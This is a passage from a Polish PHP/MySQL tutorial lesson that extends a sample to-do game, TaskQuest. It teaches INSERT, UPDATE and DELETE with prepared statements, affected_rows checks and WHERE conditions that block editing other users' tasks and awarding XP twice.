<li>Zapisuj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>&nbsp;przed przekierowaniem</li>



<li>Usuwaj dane z sesji po jednokrotnym wyświetleniu</li>



<li>ZAWSZE dodawaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code>&nbsp;po&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">header()</code></li>



<li>Waliduj dane po stronie odbiorczej (nawet po przekierowaniu)</li>
</ul>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 1.9 — zadania żyją w bazie: dodawanie, „Zrobione!” i usuwanie</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 18 TaskQuest czyta z bazy wszystko, co pokazuje. Każdy gracz widzi własne zadania, XP i streak. Ale to, co widzi, może zmienić tylko ktoś w phpMyAdmin. Formularz „Dodaj zadanie” jest wyłączony, bo zapisuje do starego pliku CSV. Zadania nie da się oznaczyć jako wykonanego, więc XP stoi w miejscu. Streak jest nadal symulowany.</p>



<p class="wp-block-paragraph">Dziś TaskQuest zacznie <strong>zmieniać</strong> dane w bazie. Po tej lekcji gracz dodaje zadania, klika „Zrobione!”, dostaje XP i buduje prawdziwą serię dni. Może też usunąć zadanie.</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>dodawać wiersze (<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO ... VALUES</code>), zmieniać je (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE ... SET ... WHERE</code>) i usuwać (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM ... WHERE</code>),</li>



<li>wykonywać te polecenia z PHP przez prepared statements i sprawdzać efekt (<code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code>),</li>



<li>używać <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> jako <strong>bezpiecznika</strong>. Warunek właściciela (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id = ?</code>) pilnuje, żeby nikt nie zmienił cudzego zadania. Warunek stanu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania IS NULL</code>) pilnuje, żeby XP nie wpadło dwa razy,</li>



<li>zmieniać wartość względem obecnej (<code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code>),</li>



<li>połączyć zmianę danych z wzorcem POST → przekierowanie → GET z Lekcji 13 i komunikatem jednorazowym z Lekcji 14.</li>
</ul>



<p class="wp-block-paragraph">Efekt: formularz dodawania zapisuje do bazy i wraca na stronę. Przy każdym niewykonanym zadaniu jest przycisk „Zrobione!”, który przyznaje XP i aktualizuje streak. Przy każdym zadaniu jest przycisk „Usuń”. Plik CSV i funkcje plikowe znikają z projektu.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li><strong>Rejestracja i hasła przechodzą do Lekcji 22.</strong> W Lekcji 18 zapowiadaliśmy hasło już dziś. Zmieniamy plan świadomie: zapisywanie hasła (<code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code>) i jego sprawdzanie przy logowaniu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>) pojawią się razem. Hasło, którego logowanie przez trzy lekcje nie sprawdza, dawałoby tylko pozór bezpieczeństwa. Logowanie zostaje więc takie jak po Lekcji 18.</li>



<li>Dziś nie ma edycji zadania (zmiana tytułu, terminu). To zadanie końcowe A.</li>



<li>„Zrobione!” zmienia dwie tabele dwoma zapytaniami. Co się stanie, jeśli drugie się nie uda, zobaczysz w Eksperymencie 5. Rozwiązanie (transakcja) to zadanie końcowe C.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 18</h1>



<ol class="wp-block-list">
<li>Dlaczego login z formularza przekazujemy do zapytania przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>, a nie wklejamy do tekstu SQL?</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika($polaczenie, 99)</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Czy to awaria? Jak reaguje na to <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>?</li>



<li>Po czym w bazie poznajemy, że zadanie jest wykonane? Jak w SQL wybrać tylko zadania <strong>niewykonane</strong> i dlaczego nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">= NULL</code>?</li>



<li>Dlaczego w sesji zapisujemy tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>, a nie login i imię?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<h3 class="wp-block-heading">Co zostaje, co dochodzi, co zmieniamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Element</th><th>Po Lekcji 18</th><th>Po Lekcji 19</th></tr></thead><tbody><tr><td>baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code></td><td>aplikacja tylko czyta</td><td><strong>zostaje bez zmian</strong>; aplikacja także zapisuje</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code></td><td>połączenie + 4 funkcje z <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code></td><td><strong>dochodzi</strong> 5 funkcji: <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> ×2, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> jednego zadania</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td>zapisuje do CSV, niedostępny z nawigacji</td><td><strong>zmiana:</strong> zapis do bazy, link „+ Dodaj zadanie” wraca</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code></td><td>nie ma</td><td><strong>dochodzą</strong> (bez HTML, jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik::aktualizujStreak()</code></td><td>przelicza streak przy każdym wyświetleniu, na podstawie symulacji</td><td><strong>zmiana:</strong> liczy streak raz, w chwili wykonania zadania</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>symulacja „aktywności”</td><td><strong>usuwamy</strong> — aktywność to kliknięcie „Zrobione!”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></td><td>używane tylko przez formularz</td><td><strong>usuwamy</strong> — nic już z nich nie korzysta</td></tr><tr><td>walidacja formularza (<code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>), funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code>, klasy, logowanie, sesja</td><td>istnieją</td><td><strong>zostają bez zmian</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Zasada z Lekcji 18 obowiązuje dalej: <strong>obiekty i logika zostają, zmienia się miejsce, w którym żyją dane</strong>. Walidacja formularza, obliczanie poziomu i liczenie serii dni to kod, który już znasz.</p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: link „+ Dodaj zadanie”, przyciski „Zrobione!” i „Usuń”, bez symulacji streaka)
├── dodaj-zadanie.php                (zmiana: zapis do bazy)
├── oznacz-wykonane.php              NOWY
├── usun-zadanie.php                 NOWY (zadanie z sekcji 6)
├── zaloguj.php                      bez zmian
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: lista plików, bez sekcji „Pliki danych”)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               (zmiana: aktualizujStreak())
├── config/
│   └── config.php                   (zmiana: bez PLIK_ZADAN)
├── includes/
│   ├── header.php                   (zmiana: styl form.akcja)
│   ├── footer.php                   (zmiana: „TaskQuest 1.9”)
│   ├── funkcje_bazy.php             (zmiana: 5 nowych funkcji)
│   ├── funkcje_zadan.php            (zmiana: bez nastepneIdZadania())
│   ├── funkcje_plikow.php           USUWAMY
│   └── ... pozostałe                bez zmian
├── sql/
│   └── taskquest.sql                bez zmian
└── data/                            USUWAMY (razem z zadania.csv)</code></pre>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li>Zrób kopię zapasową katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja18/</code> (obok, nie w środku).</li>



<li>Uruchom w XAMPP <strong>Apache</strong> i <strong>MySQL</strong>.</li>



<li>W phpMyAdmin uruchom ponownie cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>. Dziś będziemy często psuć dane testowe. Ten skrypt przywraca je w kilka sekund.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Kama zrobiła wczoraj zadanie „Nauczyć się regexów PHP”. Loguje się do TaskQuest i chce je odhaczyć. Nie ma jak. Na liście jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">[ ]</code>, XP stoi na 99. Zmienić to może tylko ktoś, kto wejdzie do phpMyAdmin i ręcznie przepisze liczby.</p>



<p class="wp-block-paragraph">Ola chce dodać nowe zadanie. Formularz istnieje, ale zniknął z nawigacji, a pod bezpośrednim adresem zapisuje do pliku, którego strona już nie czyta.</p>



<p class="wp-block-paragraph">TaskQuest jest na razie tablicą wyników, którą ktoś uzupełnia ręcznie. Żeby był grą, aplikacja musi umieć:</p>



<ol class="wp-block-list">
<li><strong>dodać</strong> wiersz do tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> (nowe zadanie),</li>



<li><strong>zmienić</strong> wiersz: wpisać datę wykonania zadania, dopisać graczowi XP i zaktualizować serię dni,</li>



<li><strong>usunąć</strong> wiersz (zadanie niepotrzebne).</li>
</ol>



<p class="wp-block-paragraph">Są też dwa haczyki, o których pomyślimy od początku. Po pierwsze, nikt nie może zmienić <strong>cudzego</strong> zadania. Po drugie, zadanie wykonane raz nie może dawać XP drugi raz, nawet jeśli ktoś kliknie dwa razy.</p>



<h1 class="wp-block-heading">3. Nowy mechanizm: <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code></h1>



<h2 class="wp-block-heading">3.1 Trzy polecenia w phpMyAdmin</h2>



<p class="wp-block-paragraph">Otwórz phpMyAdmin → baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → zakładka <strong>SQL</strong>. Przed każdym poleceniem zapisz, co Twoim zdaniem się stanie.</p>



<h3 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> — dodaj wiersz</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp)
VALUES (2, 'Przetestować INSERT', '', '2026-10-10', 10);</code></pre>



<ul class="wp-block-list">
<li>Po nazwie tabeli wymieniamy <strong>kolumny</strong>, po <code class="prettyprint lang-sql" style="font-size: 0.85em;">VALUES</code> wartości <strong>w tej samej kolejności</strong>. To trochę jak argumenty nazwane z Lekcji 15: kolejność w bazie nie ma znaczenia, liczy się dopasowanie nazwy do wartości.</li>



<li>Brakuje dwóch kolumn: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nada baza (<code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>). <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> dostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, bo kolumna ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> bez innej wartości domyślnej. Nowe zadanie jest więc od razu niewykonane.</li>
</ul>



<p class="wp-block-paragraph">Sprawdź: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT id, tytul, data_wykonania FROM zadania WHERE uzytkownik_id = 2;</code>. Ola ma teraz dwa zadania. Zapamiętaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nowego.</p>



<h3 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> — zmień wiersz</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania
SET data_wykonania = CURDATE()
WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT';</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">SET kolumna = wartość</code> mówi, co zmienić. <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> mówi, <strong>w których wierszach</strong>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code> to funkcja SQL: dzisiejsza data według serwera MySQL, w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>.</li>



<li>phpMyAdmin pokaże „Zmieniono rekordów: 1” (w wersji angielskiej „1 row affected”).</li>
</ul>



<p class="wp-block-paragraph">Uruchom <strong>to samo polecenie jeszcze raz</strong>. Przewidź wynik, zanim klikniesz. Teraz zobaczysz „Zmieniono rekordów: 0”. Wiersz pasował do <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>, ale data już była dzisiejsza, więc nic się nie <strong>zmieniło</strong>. MySQL liczy zmienione wiersze, nie pasujące. Ta różnica przyda się w TaskQuest.</p>



<p class="wp-block-paragraph">Teraz ten sam <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> z dodatkowym warunkiem:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania
SET data_wykonania = CURDATE()
WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT' AND data_wykonania IS NULL;</code></pre>



<p class="wp-block-paragraph">Wynik: 0. Warunek mówi „zmień tylko, jeśli zadanie <strong>jeszcze nie</strong> jest wykonane”. Zapamiętaj ten wzór — od niego zależy, czy gracz dostanie XP raz, czy wiele razy.</p>



<h3 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> względem obecnej wartości</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE uzytkownicy SET xp = xp + 10 WHERE id = 2;</code></pre>



<p class="wp-block-paragraph">Po prawej stronie <code class="prettyprint lang-sql" style="font-size: 0.85em;">=</code> stoi <strong>stara</strong> wartość kolumny. Ola miała 250, ma 260. Uruchom jeszcze raz — 270. Nie musimy znać obecnej liczby XP, żeby ją zwiększyć. Baza dolicza do tego, co ma w chwili zmiany.</p>



<h3 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> — usuń wiersz</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM zadania WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT';</code></pre>



<p class="wp-block-paragraph">phpMyAdmin zapyta o potwierdzenie. Tak ma być: <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> jest nieodwracalny, nie ma kosza.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Najważniejsze zdanie tej lekcji:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> <strong>bez</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> działają na <strong>wszystkich</strong> wierszach tabeli. Nie ma pytania „czy na pewno?” w PHP. Zobaczysz to w Eksperymencie 1.</p>
</blockquote>



<p class="wp-block-paragraph">Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> — Ola wraca do 250 XP.</p>



<h2 class="wp-block-heading">3.2 Te same polecenia z PHP</h2>



<p class="wp-block-paragraph">Z <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> znasz cztery kroki: <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>. Przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> baza nie zwraca wierszy, więc <strong>ostatniego kroku nie ma</strong>. Zamiast wyniku sprawdzamy, <strong>ile wierszy się zmieniło</strong>.</p>



<p class="wp-block-paragraph">Utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();

$premia = 5;
$uzytkownikId = 2;

$zapytanie = $polaczenie-&gt;prepare('UPDATE uzytkownicy SET xp = xp + ? WHERE id = ?');
$zapytanie-&gt;bind_param('ii', $premia, $uzytkownikId);
$zapytanie-&gt;execute();

var_dump($zapytanie-&gt;affected_rows);</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code>. Sprawdź w phpMyAdmin: Ola ma 255 XP.</p>



<p class="wp-block-paragraph">Teraz dwie próby:</p>



<ol class="wp-block-list">
<li><strong>Odśwież brudnopis trzy razy.</strong> Ile XP ma Ola? (270.) Każde odświeżenie to nowe żądanie, a każde żądanie wykonuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> od nowa. Dlatego od Lekcji 13 dane zmieniamy wyłącznie przez <strong>POST + przekierowanie</strong>, nigdy przez zwykłe wejście na adres.</li>



<li><strong>Zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">99</code>.</strong> Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(0)</code> i <strong>żaden wyjątek</strong>. Zapytanie jest poprawne, tylko żaden wiersz nie pasował. To ta sama sytuacja co <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code> w Lekcji 18: brak pasujących danych to nie awaria.</li>
</ol>



<p class="wp-block-paragraph">Co mówi <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Polecenie</th><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> to&#8230;</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code></td><td>liczba dodanych wierszy (u nas zawsze 1)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code></td><td>liczba wierszy, które się <strong>naprawdę zmieniły</strong> (nie tych, które pasowały do <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code></td><td>liczba usuniętych wierszy</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Błąd zapytania (literówka, zła wartość) nie daje specjalnej liczby. Od Lekcji 18 <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code> ustawia <code class="prettyprint lang-sql" style="font-size: 0.85em;">MYSQLI_REPORT_STRICT</code>, więc błąd to <strong>wyjątek</strong>.</p>



<p class="wp-block-paragraph">Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> przydaje się jeszcze jedna właściwość: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;insert_id</code>. To <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, które baza nadała nowemu wierszowi przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>. Nie musimy go zgadywać, jak robiła to <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code> przy CSV.</p>



<p class="wp-block-paragraph">Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<h2 class="wp-block-heading">3.3 <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> jako bezpiecznik</h2>



<p class="wp-block-paragraph">W TaskQuest każde <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> na zadaniu będzie miało warunek na <strong>dwie</strong> rzeczy naraz.</p>



<p class="wp-block-paragraph"><strong>1. Czyje to zadanie?</strong> Przycisk „Zrobione!” wyśle do serwera <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zadania w ukrytym polu formularza. „Ukryte” znaczy tylko „niewidoczne na stronie”. Każdy może je zmienić w narzędziach przeglądarki (F12) i wysłać <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zadania Kamy, będąc zalogowanym jako Ola. Zasada z Lekcji 13 obowiązuje: <strong>danym z formularza nie ufamy</strong>. Ufamy za to <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code>, bo zapisał go nasz kod. Dlatego:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE id = ? AND uzytkownik_id = ?</code></pre>



<p class="wp-block-paragraph">Jeśli ktoś podrobi <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, warunek nie pasuje, zmienia się 0 wierszy. Prepared statement tu nie pomoże — to nie SQL injection, tylko <strong>brak sprawdzenia uprawnień</strong> (Eksperyment 3).</p>



<p class="wp-block-paragraph"><strong>2. Czy wolno to jeszcze zmienić?</strong> XP ma wpaść tylko raz. Najprostszy pomysł to sprawdzić w PHP: wczytać zadanie, <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!$zadanie-&gt;czyWykonane())</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>. Ale co, jeśli gracz ma TaskQuest otwarty w dwóch kartach i kliknie „Zrobione!” w obu? Oba żądania wczytają zadanie jako niewykonane, oba przejdą przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>, oba dodadzą XP.</p>



<p class="wp-block-paragraph">Dlatego o tym, czy zmiana się należy, decyduje <strong>ten sam <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>, który zmienia dane</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE()
WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL</code></pre>



<p class="wp-block-paragraph">InnoDB blokuje wiersz na czas takiej zmiany. Drugie żądanie poczeka, zobaczy już wpisaną datę i dostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> = 0. W PHP przyznajemy XP <strong>tylko wtedy, gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> wynosi 1</strong>. Sprawdzisz to w Teście 4 i Eksperymencie 2.</p>



<h3 class="wp-block-heading">Typowe błędy</h3>



<ul class="wp-block-list">
<li><strong>Brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code></strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> — zmiana wszystkich wierszy (Eksperyment 1).</li>



<li><strong>Stała albo wyrażenie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('ii', 5, $uzytkownikId)</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', (int) $xpZadania)</code> kończy się <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> („could not be passed by reference”). <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> przyjmuje tylko <strong>zmienne</strong>. Wartość zapisz najpierw w zmiennej. (W funkcji to się nie zdarza, bo parametry funkcji to zmienne.)</li>



<li><strong>Liczba liter w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> różna od liczby <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code></strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">ArgumentCountError</code> albo błąd zapytania. Liczymy <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> od lewej i dla każdego piszemy literę <code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code> (liczba całkowita) albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code> (tekst, także data).</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code> po <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code></strong> — nie ma wyniku do odczytania. Efekt sprawdzamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows &gt; 0</code> jako „wiersz istnieje”</strong> — przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> 0 może też znaczyć „wiersz istnieje, ale wartość była taka sama” (3.1).</li>
</ul>



<h1 class="wp-block-heading">4. SAMODZIELNIE — pierwsze zadanie dodane z PHP</h1>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> dodaj do bazy zadanie <strong>dla Oli</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> = 2):</p>



<ul class="wp-block-list">
<li>tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie z brudnopisu</code>, opis pusty, termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-10-15</code>, 15 XP,</li>



<li>dane zapisz najpierw w zmiennych (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>) — tak, jakby przyszły z formularza,</li>



<li>zapytanie przez prepared statement,</li>



<li>na końcu wypisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code>.</li>
</ul>



<p class="wp-block-paragraph">Potem zaloguj się do TaskQuest jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>. Zadanie z brudnopisu powinno być na liście, bez żadnych zmian w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Strona czyta z bazy od Lekcji 18.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Kolumn podajesz pięć, więc w <code class="prettyprint lang-sql" style="font-size: 0.85em;">VALUES</code> będzie pięć znaków <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>. Termin to tekst w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code> — jaką literą go oznaczysz?</p>
</details>



